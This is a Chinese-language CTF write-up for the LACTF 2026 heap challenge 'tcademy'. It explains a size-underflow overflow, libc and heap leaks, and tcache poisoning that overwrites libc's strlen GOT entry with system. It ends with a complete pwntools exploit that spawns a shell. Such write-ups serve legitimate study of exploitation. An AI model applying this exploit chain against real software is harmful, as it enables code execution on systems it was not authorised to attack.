tcademy

LACTF2026tcademy (1).png

菜单:

LACTF2026tcademy (2).png

create_note函数:

LACTF2026tcademy (5).png

get_note_index函数:

LACTF2026tcademy (3).png

read_data_into_note函数:

LACTF2026tcademy (4).png

create_note函数:

LACTF2026tcademy (5).png

print_note函数:

LACTF2026tcademy (6).png

这题get_note_index限制了我们只能同时存在两个note,delete是没有漏洞,我们看create函数,这里限制我们size小于0xf8,然后调用read_data_into_note写内容,我们看read_data_into_note函数,首先它会检查我们写入的字节(也就是我们的size),如果等于8,就只写入一字节,其他情况下就减8,这里就是一个明显的漏洞,nbyets是无符号的,如果我们的size小于8,那nbyets就会变成一个很大的值,也就是我们有一个很大的chunk溢出写漏洞,其他的地方没有漏洞点了。

我们先考虑怎么泄露libc,我们可以利用show里面的puts,假设我们放一个chunk1进unsortedbin,fd存的是libc地址,那我们利用前面提到的chunk溢出写漏洞,我们通过溢出写,从chunk2一直到chunk1的fd前都填充满,那我们再show(chunk0),那puts把chunk1的fd泄露,我们看具体实现代码:

for i in range(8):
    create(0, 0xc, b'A')
    create(1, 0xc, b'B')
    delete(0)
    payload1 = flat([
        fill(0x10 + i * 0x20),
        p64(0x20) + p64(0x201),
        fill(0x18),
        0x20d31 - i * 0x20
    ])
    if i == 7:
        payload1 += flat([
            fill(0x1d8),
            0x21,
            fill(0x18),
            0x21
        ])
    create(0, 4, payload1)
    delete(1)
    delete(0)
create(0, 4, fill(0x100))
show(0)
data = rl()
leak = uu64(data[0x100:])
ntlb(leak, 0x21ace0 )

我们这里采用的是把tcache的7个槽位填满然后放入unsortedbin,如果我们选择free一个大size的chunk来进入unsortedbin的话,我们还需要伪造next chunk,填充的范围大,所以我还是选择填满tcache来进入unsortedbin。当i=0的时候,我们申请两个0x20的note0和note1,然后delete(note0),然后我们再次申请note0,这里size为4,触发漏洞,我们的目的是把note1修改成0x200的大小,我们要注意不能损坏topchunk的size和我们note1的pre_size,因为我们后续还有继续malloc的,所以我们要顺便修复,我们可以通过gdb确认i=0时topchunk的size是0x20d31,然后就是delete(1),这样tcache的0x200大小的槽位就填充了一个

LACTF2026tcademy (7).png

我们一直循环到,循环到i=7,这时tcache的0x200里已经放了7个满了,下一次free就会放到unsortedbin里,我们需要应付两件事,一个是检查first_nextchunk的size是否合法,以及second_nextchunk的size(检查是否能合并),那我们就要计算出first_nextchunk的地址,我们以note1的chunk的pre_size地址为基准,我们在payload1前已经填了0x30的,那到first_nextchunk的pre_size我们需要填充0x1d0,所以要到first_nextchunk的size就需要填充0x1d8,我们设置first_nextchunk为0x20的大小,那填充到second_nextchunk的size就需0x18,设置成0x21,不要合并first_nextchunk。

现在我们的note1在unsortedbin里,我们再次利用漏洞,把note0的data部分到note1的fd前都填充满

LACTF2026tcademy (8).png

我们可以看到note1的fd地址为0x390+0x10(省略前面的位数)=0x3a0,note0的data的地址为0x2a0,我们就需要填充0x100

然后show(0)就泄露了libc地址

我们接下来看泄露heap

我们继续用相同的思路,只不过把unsortedbin的fd换成tcache的fd

payload2 = flat([
    fill(0xf8),
    0x21,
    leak, leak,
    0x20,
    0x20c50
])
delete(0)
create(0, 4, payload2)
create(1, 0xc, b'X')
delete(1)
delete(0)
create(0, 4, b'A' * 0x100)
show(0)
data1 = rl()
leak1 = uu64(data1[0x100:])

我们把修改unsortedbin里的note1大小为0x20,方便后续放到tcache里,由前面我们覆盖到fd前用了0x100可以知道,这次我们只要覆盖到size前需要覆盖0xf8,然后就是修复size、fd、bk,由于我们会把note1从unsortedbin中摘除,所以我们需要保证nextchunk的pre_size要正确,以及size尾数为0,这里后面就是topchunk,所以我们把top.pre_size修复为note1的size0x20,然后依旧要把top.size修复正常,这里我们该怎么算呢,

LACTF2026tcademy (9).png

这个top.size的正常大小怎么计算出来呢,我们可以看到整个heap的大小为0x2100,我们note1的header地址为0x390,然后我们修复的是note1的size是0x20,所以现在消耗的heap大小为0x390 + 0x20 = 0x3b0,top.size = 0x21000 - 0x3b0 = 0x20c50

然后我们就create一个0x20的chunk,这时tcache里0x20是空的,而unsortedbin里有我们的修改的0x20大小的chunk,那就会取出我们这个chunk,然后我们delete,我们就把这个note1放入tcache的0x20里了,我们这样操作能让我们操作的一直都是地址为0x390的这个chunk,比较干净和方便计算

此时就是note1的fd是加密后的heap地址了,跟泄露libc一样操作就能泄露了

这里泄露的不是heap基址,而是基址>>12

这里是glibc2.32以后设置的加密

fd = 基址>>12 ^ nextchunk_address

当tcache只有一个chunk时,这个chunk的fd = 基址 >> 12

既然我们有越界写入的能力,我们考虑用tcache投毒

我们这里有一个puts(我们输入的内容),我们不能改puts的got表,因为开了保护,但是libc只开了部分可写,而puts再glibc里会调用strlen,也就是会strlen(我们输入的内容),那我们只要把libc中的strlen的got表利用tcache投毒改写成system就行了

我们把先把前面泄露heap而被覆盖的note1的size修复

delete(0)
payload3 = flat([
    fill(0xf8),
    0x21,
])
create(0, 4, payload3)

然后我们要注意一点,就是我们tcache中的chunk的指向下一个chunk的指针必须要16字节对齐(跟malloc返回值一样),但是libc.sym['strlen']并不是对齐的,我们可以投毒到libc.sym['strncpy'],因为libc.sym['strncpy']和libc.sym['strlen']是挨着的,所以我们的chunk大小不能为0x20,因为这样我们的data就只有0x8,不够写两个地址,所以我们还要把note1改成 0x30

delete(0)
create(0, 0x20, b'A')
create(1, 0x20, b'B')
delete(1)
delete(0)
strncpy_got = libc.got['strncpy']
fake_fd = strncpy_got ^ leak1
payload4 = flat([
    fill(0x118),
    0x31,
    fake_fd
])
create(0, 4, payload4)

我们先把note0删掉,给我们为了实现tcache投毒的两个0x30的chunk腾出伪造,然后我们先放note1,再放note0

这时在0x30的tcache里就是note0(chunk0)-->note1(chunk1)-->null

然后我们再次利用0x20里的那个chunk来溢出修改,把0x30里的chunk0的fd修改成加密过的libc.sym['strncpy']

LACTF2026tcademy (10).png

0x3c0-0x2a = 0x120,这是覆盖到chunk0的data前的距离,我们要保证size正确,所以我们覆盖0x118

create(1, 0x20, b'/bin/sh\x00')
delete(0)
create(0, 0x20, flat([libc.sym['strncpy'], libc.sym['system']]))
show(1)
it()

然后我们再申请一个0x30的chunk,把chunk0取出,并写入我们后面要puts的内容也就是/bin/sh\x00,然后我们为了能继续申请0x30的chunk,我们要先把note0删掉,然后我们malloc(0x30),这时我们就能向strncpy的got表写入了,我们要覆盖的是strncpy后面的strlen

这样我们调用puts("/bin/sh"x00)-->strlen("/bin/sh\x00")-->system("/bin/sh\x00")

我们就成功getshell了

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ''

file_name = './chall_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool = False):    return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = data if data else ru(delim)
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################

def create(idx, sizee, content):
    menu(1)
    sla(b'Index: ', cb(idx))
    sla(b'Size: ', cb(sizee))
    sa(b'Data: ', content)

def delete(idx):
    menu(2)
    sla(b'Index: ', cb(idx))

def show(idx):
    menu(3)
    sla(b'Index: ', cb(idx))

def exit():
    menu(4)


for i in range(8):
    create(0, 0xc, b'A')
    create(1, 0xc, b'B')
    delete(0)
    payload1 = flat([
        fill(0x10 + i * 0x20),
        p64(0x20) + p64(0x201),
        fill(0x18),
        0x20d31 - i * 0x20
    ])
    if i == 7:
        payload1 += flat([
            fill(0x1d8),
            0x21,
            fill(0x18),
            0x21
        ])
    create(0, 4, payload1)
    delete(1)
    delete(0)
create(0, 4, fill(0x100))
show(0)
data = rl()
leak = uu64(data[0x100:])
ntlb(leak, 0x21ace0 )
payload2 = flat([
    fill(0xf8),
    0x21,
    leak, leak,
    0x20,
    0x20c50#  - unsorted header 在 0x...b390- 改成 0x20 chunk 后,下一个 chunk 头就是 0x...b3b0, 0x21000 - 0x3b0 = 0x20c50
])
delete(0)
create(0, 4, payload2)
create(1, 0xc, b'X')
delete(1)
delete(0)
create(0, 4, b'A' * 0x100)
show(0)
data1 = rl()
leak1 = uu64(data1[0x100:])
lg('Heap', leak1)
delete(0)
payload3 = flat([
    fill(0xf8),
    0x21,
])
create(0, 4, payload3)
delete(0)
create(0, 0x20, b'A')
create(1, 0x20, b'B')
delete(1)
delete(0)
strncpy_got = libc.got['strncpy']
fake_fd = strncpy_got ^ leak1
payload4 = flat([
    fill(0x118),
    0x31,
    fake_fd
])
create(0, 4, payload4)
create(1, 0x20, b'/bin/sh\x00')
delete(0)
create(0, 0x20, flat([libc.sym['strncpy'], libc.sym['system']]))
show(1)
it()





  

题目链接:

CTF-Writeups/LACTF2026/tcademy at main · Zenquiem/CTF-Writeups


tcademy
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-MD9iwrjj
作者
ZenDuk
发布于
2026年03月13日
许可协议